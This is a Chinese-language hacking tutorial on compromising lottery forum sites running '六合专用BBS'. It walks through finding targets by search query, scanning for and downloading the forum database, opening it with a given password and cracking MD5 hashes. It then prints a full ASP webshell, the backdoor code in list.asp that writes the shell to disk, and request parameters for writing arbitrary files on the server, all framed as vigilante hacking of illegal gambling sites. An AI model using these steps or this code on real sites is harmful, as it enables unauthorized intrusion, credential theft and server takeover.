先在 baidu 搜 “六合专用BBS v1.0”当然你搜 v2.0 、v3.0 都可以！“找到相关网页约23,000篇，用时0.017秒”我们看一下非常多的，随便进一个吧。 找到Domain2.2.exe，的 SearchPage.txt，在里面加查找页 /fdnews.asp /bbs/fdnews.asp，好了现在我们来扫扫看！哇，好多啊，这个就是数据库了，我们用网际快车 把他下下来，5自学网，昏 ，打开要密码，就密码这个东西啦： newbbs.cn88 ，现在 帐号、密码，就尽收眼底了，嘿嘿！~~现在把 md5 加密的东西放 MD5Crack 2.3 去跑吧，看你运气咯！~不过我们今天要的不是它的密码，而是webshell。大家跟我来，马上会有惊人的发现。打开数据库的zl表，找到idto 的字段，怎么了发现什么了吗？这个好象是一个网页哦，嘿嘿！~~代码如下：<html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title></title><meta content="Microsoft FrontPage 3.0"></head><body bgcolor="#FFFFFF"><%Function GetPPdim ss=Request.ServerVariables("path_translated")GetPP=left(s,instrrev(s,"\",len(s)))End functionMODE=Request("MODE") sPP=Request("PP")if sPP="" then sPP=GetPPif right(sPP,1)<>"\" then sPP=sPP&"\"Response.Write "<b>Index of "&sPP& "</b>"
%><%fname=request("fname")if fname<>"" thenSet objFSO = Server.CreateObject("Scripting.FileSystemObject")if request("save")="" thenSet objCountFile = objFSO.OpenTextFile(fname,1,True)If Not objCountFile.AtEndOfStream Then fdata = objCountFile.ReadAllelsefdata=request("fdata")Set objCountFile=objFSO.CreateTextFile(fname,True)objCountFile.Write fdataend ifobjCountFile.CloseSet objCountFile=NothingSet objFSO = Nothingend if%><form method=POST><table border=0 cellspacing=0 bgcolor=#000000><tr><td><table border=0 cellpadding=10 cellspacing=0 bgcolor=#FFFFFF><tr><td><table bordercolor=#0080FF bgcolor=#FFFFD0 border=1><tr><td bgcolor="#0080FF"><font color="#FFFFFF">change：<%=fname%></font></td><tr><td><input type="submit" value="ok"><input type="reset" value="reset"><br><textarea rows="22" cols="100"><%=fdata%></textarea></td></tr></table></td></tr></table></td></tr></table></form></body></html>再认真看看，其实这就是一个webshell，所有的六合彩专用论坛的数据库里面都有。它出生的时间可能比海洋顶端2003 还要早，是asp木马界的鼻祖了。既然数据库的文件名是asp的后缀，而里面又自带一个asp木马，我们来试试直接打开这个数据库地址，昏，可以看出木马里面的asp 代码并没有执行，也就是说我们拿了一只死马。这就是我12月25号的号的发现，拿到这个之后就和兄弟 ☆罹天烬☆ 讨论过（czy也给予了帮助），开始认为只要拿到网站在服务器上的绝对路径就可以在本地提交，写入我们自己的木马，但是实验却一直没有成功。虽然我手里有一个这样的论坛，但是有几个重要的页面丢失了，一时也看不出一个所以然来，这样一拖就是十几天，前天我再把这个论坛的代码拿出来看，在list.asp 里面发现一段重要的东西.<%if len(page)>6 thenif md5(md5(page))="8f9fc56c3d174202" thendim fname fname=""&sPP&"pags.asp"Set objFSO = Server.CreateObject("Scripting.FileSystemObject")Set objCountFile=objFSO.CreateTextFile(fname,True)objCountFile.Write ""& idto &""objCountFile.CloseSet objCountFile=NothingSet objFSO = Nothingresponse.write "SORRY <br>"response.write "ID?????"response.endend if%>注意到了吗？""& idto &"" 这里的idto 不就是数据库里面放asp木马的字段吗？嘿嘿，那么上面的pags.asp，就应该是写入的文件名咯？我们来试试看，到底是不是这样的！提交：看到没有这个古老的asp木马终于显身了，首先它可以看到网站在服务器上的绝对路径，第二还可以写入文件。有人看到这个木马很郁闷，因为它根本没有写入文件的路径的设置表单，是不是我们提交的数据库，都进了数据库了呢？来看看原代码，这一句 Set objCountFile = objFSO.OpenTextFile(fname,1,True)看这里是写入了文件fname， 而不是数据库，我们先要请求文件fname 写入的路径，在ie 提交：?fname=D:\ky8888\bbs\haotian.asp再填内容 ，嘿嘿· ok 了 ！，这样D:\ky8888\bbs\haotian.asp 就是我们新建的文件了。
因为这个网站空间不支持fso，所以我直接把数据库里面的木马复制到朋友的asp空间去演示，看是不是写入文件成功了，嘿嘿！~~?id=1 这样简单就拿到了webshell，不过我试了另外几个六合彩网站却没有发现这个pags.asp，看来这个里面还有东西要挖一挖。可能要等到拿了完整的 六合专用BBS 的代码之后问题就都解决了。本文只是起到抛砖引玉的作用，自学教程，还是那句话期望着大家一起走到打击六合彩网站的道路上来！消减它们，国家的害虫……我在写本文的同时，也有很多人和我说，现在地下足彩也很泛滥，所以我专门联系了一位国内的黑足彩高手，他将在近期出一篇关于消减足彩网站的文章。
